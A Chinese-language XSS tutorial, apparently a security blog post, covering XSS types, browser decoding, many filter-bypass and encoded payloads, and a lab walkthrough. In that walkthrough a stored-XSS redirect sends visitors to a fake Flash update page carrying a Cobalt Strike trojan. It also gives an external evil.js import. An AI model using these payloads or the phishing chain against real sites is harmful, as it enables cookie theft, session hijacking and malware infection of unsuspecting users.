[toc]

XSS 简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。

反射型

反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。

存储型

存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。

DOM型

DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

一些常用的标签与属性

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。

scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

1
2
<script>alert(1);</script>
<script>alert("xss");</script>

img 标签

<img> 标签定义 HTML 页面中的图像。

1
2
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生:

1
<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件:

1
<input onblur=alert(1) autofocus><input autofocus> 

input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

1
<input onfocus="alert(1);" autofocus>

details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

1
<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

1
<details open ontoggle=alert(1);>

svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

1
<svg onload=alert(1);>

select 标签

<select> 标签用来创建下拉列表。

1
<select onfocus=alert(1)></select>

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

1
<select onfocus=alert(1) autofocus>

iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

1
<iframe onload=alert(1);></iframe>

video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

1
<video><source onerror=alert(1)>

audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

1
<audio src=x  onerror=alert(1);>

body 标签

<body> 标签定义文档的主体。

1
<body onload=alert(1);>

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

1
2
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

1
<textarea onfocus=alert(1); autofocus>

keygen 标签

1
<keygen autofocus onfocus=alert(1)> //仅限火狐

marquee 标签

1
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以

isindex 标签

1
<isindex type=image src=1 onerror=alert(1)>//仅限于IE

<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

1
<link rel=import href="http://47.xxx.xxx.72/evil.js">

利用 JavaScript 伪协议

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

a 标签

1
<a href="javascript:alert(1);">xss</a>

iframe 标签

1
<iframe src=javascript:alert(1);></iframe>

img 标签

1
2
<img src=x onerror=alert(1)>
<img src=javascript:alert(1)> //IE7以下

form 标签

1
<form action="Javascript:alert(1)"><input type=submit>

XSS 常见绕过姿势

绕过空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

1
<img/src="x"/onerror=alert(1);>

也可以:

1
<img/src="x"onerror=alert(1);>

绕过引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

1
<img src=x onerror=alert(`xss`);>

绕过括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

1
2
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

绕过关键字过滤

大小写绕过

1
2
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

1
2
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>

字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

1
2
3
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号

利用top

1
2
<script>top["al"+"ert"](`xss`);</script>
<script>top["al"+"ert"]("xss");</script>

XSS 输出点总结

WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。

输出在属性里

例如输出的位置位于value属性中:

1
<input value="[输出]" type=text>

我们可以选择直接闭合标签:

1
2
3
4
"><img src=x onerror=alert(1);>

// 输出后如下:
// <input value=""><img src=x onerror=alert(1);>" type=text>

如果 < > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:

1
2
3
4
5
" autofocus onfocus=alert(1)//
" autofocus onfocus=alert(1) "

// 输出后如下:
// <input value="" autofocus onfocus=alert(1)//" type=text>

同样还有很多其他的payload:

1
2
3
4
" onmouseover=prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="

还有一些特殊的场景,如:

1
2
<input type="hidden" value="[输出]" />
<input value="[输出点]" type="hidden"/>

这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行脚本。

输出在HTML标签之间

例如输出的位置如下:

1
<div id="body">[输出]</div>

直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:

  • <title></title>
  • <textarea></textarea>
  • <xmp></xmp>
  • <iframe></iframe>

那么就得先把那个标签闭合(后文会讲到原理),然后在注入XSS语句,例如:

1
</textarea><script>alert(1)</script>

输出在script标签之间

例如:

1
2
3
<script>
var x = "input";
</script>

可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:

1
2
3
4
";alert(1)//

// 输出后如下:
// <script>var x = "";alert(1)//";</script>

XSS 字符编码绕过

在XSS中,还有一个绕过关键字过滤的方法,那就是字符编码绕过。这里给出一个编码网站:https://bianma.bmcx.com/

编码属于计算机系统的基础知识,其内容写起来估计也可以出本书了,不过或多或少我们都有所了解,总的来说,编码就是将字符变为二进制数,而解码就是将二进制数还原为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程,下面大概介绍一下流程。

请求网页解码流程

  • HTML 编码/解码

当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是我们看到的源代码。具体的解码方式依具体情况而定,所以我们需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码。

但是在HTML中有些字符是和关键词冲突的,比如 <>&,解码之后,浏览器会误认为它们是HTML标签,如果希望正确地显示预留字符,就需要在HTML中使用对应的HTML字符实体。

字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开头,后面跟着一个预定义的实体的名称,或用&#开头+实体编号+分号来表示。

常见的HTML字符实体有:

显示结果 描述 实体名称 实体编号
空格 &nbsp; &#160;
< 小于号 &lt; &#60;
> 大于号 &gt; &#62;
& 和号 &amp; &#38;
引号 &quot; &#34;
撇号 &apos;(IE不支持) &#39;

但并不是所有的字符都有实体名称,但是它们都有自己的实体编号。

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个 < 符号(后面没有跟 /符号)就会进入 标签开始状态(Tag open state) ,然后转变到 标签名状态(Tag name state)前属性名状态(before attribute name state) ……最后进入 数据状态(Data state) 并释放当前标签的token。当解析器处于 数据状态(Data state) 时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

简单的说就是,浏览器对HTML解码之后就开始解析HTML文档,将众多标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。

所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。

  • URL 解码

URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。

在服务端接收到请求时,会自动对请求进行一次URL解码。

  • JavaScript 解码(只支持Unicode)

当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如 <script><style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 srchref 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。

比如 <a href="javascript:alert('\u0031')">test</a>,JavaScript 出发了 JavaScript 解释器,JavaScript 会先对内容进行解析,里边有一个转义字符\u0031,前导的 u 表示他是一个unicode 字符,根据后边的数字,解析为“1”,于是在完成 JavaScript 的解析之后变成了 <a href="javascript:alert('1')">test</a>

下面用一个普通的XSS代码来说明一下浏览器对其解析的过程。

  • <a href="javascript:alert('xss')">test</a>

首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:https://www.baidu.com,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为Javascript,因此该环境中最后一步Javascript解析器还会进行解码操作,最后解析的脚本将被执行。

整个解析顺序为3个环节:HTML解码 —>URL解码 —>JS解码

我们可以对XSS攻击向量做这三种编码都可以成功弹框。

HTML 实体编码

我们可以将DOM节点中的内容转化为HTML实体,因为解析HTML之后建立起节点,然后会对DOM节点里面的HTML实体进行解析。HTML 编码主要分为10进制和16进制,格式为以 &# 开头以分号 ; 结尾(也可以不带分号)。

  • <a href=javascript:alert("xss")>test</a>
1
2
3
4
5
6
7
8
// 十进制
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;>test</a>

// 十六进制
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>test</a>

// 也可以不带分号
<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x22&#x78&#x73&#x73&#x22&#x29>test</a>
  • <img src=x onerror=alert("xss")>
1
2
3
4
5
6
7
8
// 十进制
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;>

// 十六进制
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>

// 也可以不带分号
<img src=x onerror=&#x61&#x6C&#x65&#x72&#x74&#x28&#x22&#x78&#x73&#x73&#x22&#x29>

但是要注意,对于HTML字符实体,并不是说任何地方都可以使用实体编码,只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和 “RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从 &#… 形式解码,转化成对应的解码字符并被放入数据缓冲区中。

(1)数据状态中的字符引用:数据状态就是解析一个标签内里面的内容,如 <div>...</div> 中的内容,当浏览器解析完 <div> 标签之后如果发现标签内还含有实体字符的话,就会有一个实体编码解析了,如:

1
<div>&#60;img src=x onerror=alert("xss")&#62;</div>

如下图,此时在页面上显示的是经过转义的内容:

image-20210202191314434

这看上去是一个标准的标签语言,但并不会触发xss,因为当前HTML解析器处于“数据状态”,不会转换到“标签开始状态”,所以就不会建立新的标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”而不是XSS攻击向量。

(2)属性值状态中的字符引用:属性值状态中的字符引用就好理解了,就是src,herf这样的属性值中的HTML实体,他也是会先进行HTML解码的,比如下面的语句,会先对里面HTML解码,然后再继续往下执行:

1
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>test</a>

(3)RCDATA状态中的字符引用:然后再来看一下什么是RCDATA转态,这里需要我们先了解一下HTML中有五类元素:

  1. 空元素(Void elements),如 <area><br><base> 等等。空元素不能容纳任何内容,因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间。
  2. 原始文本元素(Raw text elements),有 <script><style>。原始文本元素可以容纳文本。
  3. RCDATA元素(RCDATA elements),有 <textarea><title>。RCDATA元素可以容纳文本和字符引用。
  4. 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素。外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释。
  5. 基本元素(Normal elements),即除了以上4种元素以外的元素。基本元素可以容纳文本、字符引用、其他元素和注释。

注意到RCDATA元素中有 <textarea><title> 两个属性并且有字符引用,也就是当实体字符出现在这两个标签里面的时候,实体字符会被识别并进行HTML编码解析。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”,所以就不会建立新的标签,所以下面这个语句触发不了XSS:

1
<textarea>&#60;script&#62;alert("xss")&#60;/script&#62;</textarea>

image-20210202194554798

但是如果直接放进去标签的内容呢,不带转义字符呢,如下:

1
<textarea><script>alert("xss")</script></textarea>

同样也是不会触发XSS的:

image-20210202194424551

这涉及到了RCDATA的一个特殊的情况。即在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”,并不会进入“标签开始状态”的。这意味着在RCDATA元素标签的内容中,唯一能够被解析器认做是标签的就只有 </textarea> 或者 </title>,因此,在 <textarea><title> 的内容中不会创建标签,就不会有脚本能够执行了。

另外还有一点要注意:我们从上面HTML的五类元素中还发现有一个原始文本元素 <script> 在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。浏览器看不懂中间这堆编码是和啥东西,所以也不会被执行,如下:

1
<script>&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;</script>

image-20210202194716116

那么如何才能让里面的内容进行转义并执行弹窗呢,这里需要利用到XSS的一个黑魔法——“svg”,我们下文中会提及。

URL编码

我们可以并将src或href属性中的内容进行URL编码,当HTML解析器对src或href中的字符完成HTML解码后,接下来URL解析器会对src或href中的值进行URL解码。

1
2
3
<a href="...">xx</a>

<iframe src="...">

下面给出几个实例。

  • <a href=javascript:alert("xss")>test</a>
1
<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>
  • <iframe src=javascript:alert("xss")></iframe>
1
<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>

注意,伪协议头 javascript: 是不能进行编码的。这里就有一个URL解析过程中的一个细节了,即不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,就会导致DOM节点中被编码的“javascript”没有被解码,当然不会被URL解析器识别了。就比如说 http://www.baidu.com 可以被URL编码为 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,但是不能把协议也进URL编码:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d

但是伪协议头 javascript: 可以进行HTML编码。

Javascript 编码

我们可以将DOM节点中的内容转化为 Javascript 编码。当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如 <script><style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 srchref 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。

Javascript 中可以识别的编码类型有:

  • Unicode 编码
  • 八进制编码
  • 十六进制编码

一般情况下我们使用Unicode编码的比较广泛,而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。

Unicode 编码

  • <script>alert("xss")</script>
1
2
<script>\u0061\u006C\u0065\u0072\u0074("xss")</script>
<script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script>
  • <a href=javascript:alert("xss")>test</a>
1
2
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>

但要注意,我们同样也不能对伪协议头 javascript: 进行 Javascript 编码。并且像圆括号、双引号、单引号这样的符号我们也不能进 Javascript 编码,但是能进行HTML编码。

在DOM环境中的JavaScript编码

对于八进制编码和十六进制编码,与 Unicode 编码还是有区别,像下面的XSS向量是不能直接执行的:

  • <script>alert("xss")</script>
1
<script>\141\154\145\162\164("xss")</script>
  • <a href=javascript:alert("xss")>test</a>
1
<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>

如下图,插入之后没有任何反应:

image-20210202160311365

image-20210202160525348

要想让他们能够执行我们要将他们放在DOM环境中,即DOM型的XSS。

测试代码:

1
2
3
4
5
6
<div id='s'>test</div>

<script>
var search = "...";
document.getElementById('s').innerHTML = search;
</script>

以上情况很多都是出现在你搜索后,显示你所查询的关键字,变量 search 是一个可控点,当我们查询一个XSS攻击向量后,变量 search 就会被赋值为这个XSS向量,从而插入到div标签中触发XSS,如下所示:

1
2
3
4
5
6
<div id='s'>test</div>

<script>
var search = "<iframe src=javascript:alert('xss')></iframe>";
document.getElementById('s').innerHTML = search;
</script>

image-20210202163852523

此时如果过滤了 <>'"&% 等等这些字符的话,我们便可以用JavaScript编码的方法将XSS向量全部编码,即 <iframe src=javascript:alert('xss')></iframe> 的以下编码都可以弹窗:

1
2
3
4
5
6
7
8
// Unicode编码
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E

// 八进制编码
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76

// 十六进制编码
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e

image-20210202163825646

还有一种让八进制和十六进制编码的XSS攻击向量执行的方式便是将XSS向量放在某个能把字符串当做JavaScript代码来执行的函数里,比如eval()、setTimeout()、setInterval()等函数。如下示例:

  • <script>alert("xss")</script>
1
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
  • <a href=javascript:alert("xss")>test</a>
1
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
  • <img src=x onerror=alert("xss")>
1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

或者也可以直接将一整段js代码编码后放入eval()函数中执行。

混合编码

混合编码就是对一个XSS向量同时进行多种编码,如下示例:

  • <a href=javascript:alert("xss")>test</a>
1
2
3
4
5
// 对javascript:进行HTML编码, 对alert("xss")进行URL编码
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>

// 对javascript:进行HTML编码, 对alert进行Unicode编码
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

也可以利用解码顺序进行混合编码,如下示例:

  • <a href=javascript:alert("xss")>test</a>

首先对“alert”进行JavaScript Unicode编码:

1
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

然后再对 \u0061\u006c\u0065\u0072\u0074 进行URL编码:

1
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

最后对标签中的 javascript:%5c%75...%37%34("xss") 整体进行HTML编码即可:

1
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;>test</a>

SVG:XSS的一个黑魔法

我们在上文HTML编码那里最后留了一个坑,即HTML的五类元素中,像 <script><style> 这样的原始文本元素在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。

也就是说,向下面这样的代码,浏览器不会对其中的HTML实体字符进行解码,也就不会执行并触发XSS了:

1
2
3
<script>&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;</script>
<script>alert&#40;1)</script>
<script>alert&#40;1&#41;</script>

那如何绕过HTML原始文本元素进而执行HTML实体解码呢,这涉及到了 <svg> 的魔力,那是一种特殊的触发效果,单纯script标签内加载html实体编码,只会当做文本,没有任何触发结果,如下图:

image-20210202201352827

但是当在前面加上 <svg> 后,却成功弹窗了:

1
2
3
<svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;</script>
<svg><script>alert&#40;1)</script>
<svg><script>alert&#40;1&#41;</script>

image-20210202200455541

这是为什么呢?

是因为 <svg> 标签属于HTML五大元素中的外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,也就是说在解析到<svg> 标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML解析中,实体编码会自动解码成相应的字符,重新来一遍标签开启状态,此时就会执行XSS了。如下图,弹窗后我们查看页面源码。发现原本不能被HTML解码的内容被 <svg> 标签自动解码了:

image-20210202200943830

[CISCN2019 华东北赛区]Web2 这道题运用的就是这个知识点。

XSS 测试流程思路

下面让我们来看一下XSS绕过的测试流程。

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:

  1. 暴力测试(输入大量的payload,看返回结果)
  2. 根据正则推算
  3. 利用浏览器bug

初步测试

(1)尝试插入比较正常的HTML标签,例如:<a><b><i><u> 等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

(2)尝试插入不闭合的标签,例如:<a<bi>u><img 等,然后看一下返回响应,是否对开放的标签也有过滤。

(3)然后测试几种常见的XSS向量:

1
2
3
4
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......

看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再尝试大小写的组合:

1
<scRiPt>alert(1);</scrIPt>

(4)如果过滤器仅仅是把 <script></script> 标签过滤掉,那么可以用双写的方式来绕过:

1
<scr<script>ipt>alert(1)</scr<script>ipt>

这样当 <script> 标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。

(5)用 <a href 标签来测试,看返回响应

1
<a href="http://www.baidu.com">click</a>

看看 <a 标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:

1
<a href="javascript:alert(1)">click</a>

看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。

继续测试事件触发执行javascript:

1
<a href=x onmouseover=alert(1)>ClickHere</a>

看onmouseover事件是否被过滤。

测试一个无效的事件,看看他的过滤规则:

1
<a href=x onclimbatree=alert(1)>ClickHere</a>

是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:

1
<body onhashchange=alert(1)><a href=#>click</a>

onhashchange 事件在当前 URL 的锚部分(以 ‘#’ 号为开始) 发生改变时触发 。

测试其他标签和属性

HTML的标签和属性太多了,上文中已经列出了很多了。

XSS 攻击面拓展

利用 XSS 钓鱼

Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。最简单的比如:<script>alert(document.cookie)</script> ,执行后会弹出当前页面的cookie信息。在目标没有“同源策略”的保护下,我们可以利用XSS盗取目标网站管理员的Cookie。

在一般的通用CMS下呢,为了通用模板的兼容性,许多CMS本身不会使用“同源策略”等其他手段来防护XSS漏洞,而是使用自建的过滤函数来处理,在这种情况下,一旦出现XSS漏洞,我们就可以直接获取目标的Cookie然后使用特定的方法来传输cookie。

这里,我们可以利用网上现成的或自己搭建的XSS平台来完成利用过程。

Flash 弹窗钓鱼

之前看过很多大佬使用XSS漏洞弹出Flash的更新页面进行钓鱼的操作。今天我们终于有机会来演示一下了。

其原理就是通过XSS漏洞,弹出Flash更新请求诱使用户点击,使用户跳转到设置好的钓鱼页面(伪造好的Flash更新页面),下载伪造的Flash组件(木马程序)并执行,最终实现反弹Shell上线CS,完成钓鱼攻击。下面我们搭建环境进行演示。

实验环境:

主机环境:

  • 攻击机kali:192.168.0.182
  • 受害机:192.168.0.125

工具环境:

  • WeBug4.0
  • Flash 官网源码

(1)制作 CS 捆绑木马

这里我们选择制作WinRAR自解压捆绑木马,将 CS 木马与真正的Flash更新程序捆绑在一起,详情参考我的文章:《钓鱼攻击:制作WinRAR自解压捆绑木马进行钓鱼攻击》

(2)搭建Flash钓鱼页面

首先我们需要在kali上搭建一个钓鱼页面,需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择:

该项目是模仿的 Flash Player 中文官网的页面:

image-20210304170810399

需要在index.html中的加入我们制作的木马的链接地址:

image-20210304172509118

该项目是一个逼真的Flash更新提醒的弹窗,强迫症都会忍不住去点击下载的:

image-20210304171159133

我们这里使用第二种方法,点击“立即升级”的这个按钮点击会下载我们提前准备好的 CS 木马。如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。

找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:

image-20210304173233649

然后将伪造的Flash页面搭建在攻击机kali的Web服务上:

image-20210304173812031

(3)插入 XSS 攻击向量

访问目标网站:

image-20210304173934856

在最下方发现一个留言板:

image-20210304173956429

经测试存在XSS漏洞,我们插入一下payload:

1
<script>window.location.href="http://192.168.0.182";</script>

image-20210304175329132

这样,当用户再次访问该页面或管理员在后台查看评论时,就会将页面劫持到我们所伪造的钓鱼页面上:

image-20210304175404485

当受害者强迫症忍不住去点击“立即升级”时,就会下载我们所准备好的 CS 捆绑木马:

image-20210304175914235

如果受害者以为自己的 Flash 版本过低的话,就可能会运行这个木马。如下图所示,受害者主机成功上线:

image-20210304180543849

XSS to RCE

XSS 配合 CSRF 的前端攻击

XSS 破坏式攻击

参考:

https://xz.aliyun.com/t/4067#toc-27

https://xz.aliyun.com/t/96#toc-7

